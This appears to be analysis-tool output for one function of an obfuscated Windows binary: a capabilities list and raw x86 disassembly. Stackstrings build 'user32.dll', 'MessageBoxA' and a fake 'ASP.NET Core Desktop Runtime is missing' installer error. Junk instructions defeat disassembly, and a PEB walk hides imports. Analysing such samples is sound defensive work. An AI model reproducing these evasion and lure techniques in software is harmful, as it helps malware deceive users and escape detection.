Function at 0x4025d3
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
xor edx, 0xb434
pop edx
push ecx
jmp 0x4025e7
or ecx, 0x7977
add ecx, 0x3151
pop ecx
mov eax, 0x75
mov word [ebp - 0x17a0], ax
mov ecx, 0x73
mov word [ebp - 0x179e], cx
mov edx, 0x65
mov word [ebp - 0x179c], dx
mov eax, 0x72
mov word [ebp - 0x179a], ax
mov ecx, 0x33
mov word [ebp - 0x1798], cx
mov edx, 0x32
mov word [ebp - 0x1796], dx
mov eax, 0x2e
mov word [ebp - 0x1794], ax
mov ecx, 0x64
mov word [ebp - 0x1792], cx
mov edx, 0x6c
mov word [ebp - 0x1790], dx
mov eax, 0x6c
mov word [ebp - 0x178e], ax
xor ecx, ecx
mov word [ebp - 0x178c], cx
mov byte [ebp - 0x868], 0x4d
mov byte [ebp - 0x867], 0x65
mov byte [ebp - 0x866], 0x73
mov byte [ebp - 0x865], 0x73
mov byte [ebp - 0x864], 0x61
mov byte [ebp - 0x863], 0x67
mov byte [ebp - 0x862], 0x65
test dword [esi + 0x65fffff7], ebx
mov byte [ebp - 0x861], 0x42
mov byte [ebp - 0x860], 0x6f
mov byte [ebp - 0x85f], 0x78
mov byte [ebp - 0x85e], 0x41
mov byte [ebp - 0x85d], 0
mov byte [ebp - 0xc70], 0x41
mov byte [ebp - 0xc6f], 0x53
mov byte [ebp - 0xc6e], 0x50
mov byte [ebp - 0xc6d], 0x2e
mov byte [ebp - 0xc6c], 0x4e
mov byte [ebp - 0xc6b], 0x45
mov byte [ebp - 0xc6a], 0x54
mov byte [ebp - 0xc69], 0x20
mov byte [ebp - 0xc68], 0x43
mov byte [ebp - 0xc67], 0x6f
mov byte [ebp - 0xc66], 0x72
mov byte [ebp - 0xc65], 0x65
mov byte [ebp - 0xc64], 0x20
mov byte [ebp - 0xc63], 0x44
mov byte [ebp - 0xc62], 0x65
mov byte [ebp - 0xc61], 0x73
mov byte [ebp - 0xc60], 0x6b
mov byte [ebp - 0xc5f], 0x74
mov byte [ebp - 0xc5e], 0x6f
mov byte [ebp - 0xc5d], 0x70
mov byte [ebp - 0xc5c], 0x20
mov byte [ebp - 0xc5b], 0x52
mov byte [ebp - 0xc5a], 0x75
mov byte [ebp - 0xc59], 0x6e
mov byte [ebp - 0xc58], 0x74
mov byte [ebp - 0xc57], 0x69
mov byte [ebp - 0xc56], 0x6d
mov byte [ebp - 0xc55], 0x65
mov byte [ebp - 0xc54], 0x20
mov byte [ebp - 0xc53], 0x38
mov byte [ebp - 0xc52], 0x2e
mov byte [ebp - 0xc51], 0x30
mov byte [ebp - 0xc50], 0x2e
mov byte [ebp - 0xc4f], 0x33
mov byte [ebp - 0xc4e], 0x20
mov byte [ebp - 0xc4d], 0x69
mov byte [ebp - 0xc4c], 0x73
mov byte [ebp - 0xc4b], 0x20
mov byte [ebp - 0xc4a], 0x6d
mov byte [ebp - 0xc49], 0x69
mov byte [ebp - 0xc48], 0x73
mov byte [ebp - 0xc47], 0x73
mov byte [ebp - 0xc46], 0x69
mov byte [ebp - 0xc45], 0x6e
mov byte [ebp - 0xc44], 0x67
mov byte [ebp - 0xc43], 0x21
mov byte [ebp - 0xc42], 0
mov byte [ebp - 0xc40], 0x49
mov byte [ebp - 0xc3f], 0x6e
mov byte [ebp - 0xc3e], 0x73
mov byte [ebp - 0xc3d], 0x74
mov byte [ebp - 0xc3c], 0x61
mov byte [ebp - 0xc3b], 0x6c
mov byte [ebp - 0xc3a], 0x6c
mov byte [ebp - 0xc39], 0x65
mov byte [ebp - 0xc38], 0x72
mov byte [ebp - 0xc37], 0x20
mov byte [ebp - 0xc36], 0x45
mov byte [ebp - 0xc35], 0x72
mov byte [ebp - 0xc34], 0x72
mov byte [ebp - 0xc33], 0x6f
mov byte [ebp - 0xc32], 0x72
mov byte [ebp - 0xc31], 0x20
mov byte [ebp - 0xc30], 0x30
mov byte [ebp - 0xc2f], 0x78
mov byte [ebp - 0xc2e], 0x41
mov byte [ebp - 0xc2d], 0x44
mov byte [ebp - 0xc2c], 0x41
mov byte [ebp - 0xc2b], 0x44
mov byte [ebp - 0xc2a], 0x45
mov byte [ebp - 0xc29], 0x46
mov byte [ebp - 0xc28], 0x4c
mov byte [ebp - 0xc27], 0x4f
mov byte [ebp - 0xc26], 0
mov edx, dword [ebp - 0x2104]
mov dword [ebp - 0xaf0], edx
push edi
and edi, 0x11cd6
sub edi, 0x12d60
add edi, 0xd9d0
add edi, 0x12170
pop edi
push esi
xor esi, 0xd812
jmp 0x402901
or esi, 0xad21
jmp 0x40290c
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1e1c], eax
mov ecx, dword [ebp - 0x1e1c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1ec4], edx
mov eax, dword [ebp - 0x1ec4]
mov dword [ebp - 0x15c8], eax
push eax
push edi
add esp, 4
and eax, 0x706c
and eax, 0x250b
or eax, 0x11c2b
pop eax
push esi
xor esi, 0x15fb
call 0x402962
add byte [edx + 0x45], cl
dec ebx
dec ecx
inc eax
dec esi
dec ebp
dec edi
xor al, 0x83
les eax, [esi + ebx*2]
cmp dword [ebp - 0x15c8], 0
jne 0x40297e
mov dword [ebp - 0x304], 0
jmp 0x402c3a
mov ecx, dword [ebp - 0x15c8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xce4], eax
push ecx
add ecx, 0x13719
sub ecx, 0xe614
pop ecx
push ecx
push ebx
add esp, 4
and ecx, 0x90a4
call 0x4029b8
add byte [ebx], dh
aaa
xor cl, byte [ebp + 0x45]
xor al, 0x38
inc eax
dec eax
add esp, 4
xor ecx, 0x16ef2
pop ecx
cmp dword [ebp - 0xce4], 0
jne 0x4029da
mov dword [ebp - 0x304], 0
jmp 0x402c3a
mov ecx, dword [ebp - 0xce4]
mov dword [ebp - 0x508], ecx
push edi
and edi, 0xf6bd
sub edi, 0x10d09
call 0x402a02
add byte [eax + 0x49], cl
xor bh, byte [edi]
inc edi
inc esi
xor eax, 0xc483403d
add al, 0x81
out 0x55, eax
xor al, byte [eax]
add byte [edi + 0x52], bl
push ebx
add esp, 4
and edx, 0x10676
pop edx
lea edx, [ebp - 0x17a0]
mov dword [ebp - 0xce0], edx
mov eax, dword [ebp - 0x508]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcdc], ecx
xor edx, edx
mov word [ebp - 0x210], dx
xor eax, eax
mov word [ebp - 0x10c], ax
push edx
push esi
add esp, 4
sub edx, 0x12f31
xor edx, 0x87f3
or edx, 0xcbe1
pop edx
push edx
or edx, 0x156c0
add edx, 0xa77c
xor edx, 0x12514
add edx, 0xa304
pop edx
mov ecx, dword [ebp - 0xcdc]
mov dx, word [ecx]
mov word [ebp - 0x107e], dx
mov eax, dword [ebp - 0xcdc]
add eax, 2
mov dword [ebp - 0xcdc], eax
mov cx, word [ebp - 0x107e]
mov word [ebp - 0x210], cx
mov edx, dword [ebp - 0xce0]
mov ax, word [edx]
mov word [ebp - 0x1080], ax
mov ecx, dword [ebp - 0xce0]
add ecx, 2
mov dword [ebp - 0xce0], ecx
mov dx, word [ebp - 0x1080]
mov word [ebp - 0x10c], dx
push ecx
add ecx, 0x15066
pop ecx
push eax
push eax
add esp, 4
and eax, 0xb022
and eax, 0x13a08
and eax, 0x14494
pop eax
push ebx
push esi
add esp, 4
or ebx, 0x9724
add ebx, 0x9156
pop ebx
movzx eax, word [ebp - 0x10c]
test eax, eax
jne 0x402b26
movzx ecx, word [ebp - 0x210]
movzx edx, word [ebp - 0x10c]
sub ecx, edx
mov dword [ebp - 0x15d4], ecx
jmp 0x402b89
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
je 0x402a45
movzx edx, word [ebp - 0x210]
xor edx, 0x20
movzx eax, word [ebp - 0x10c]
cmp edx, eax
invalid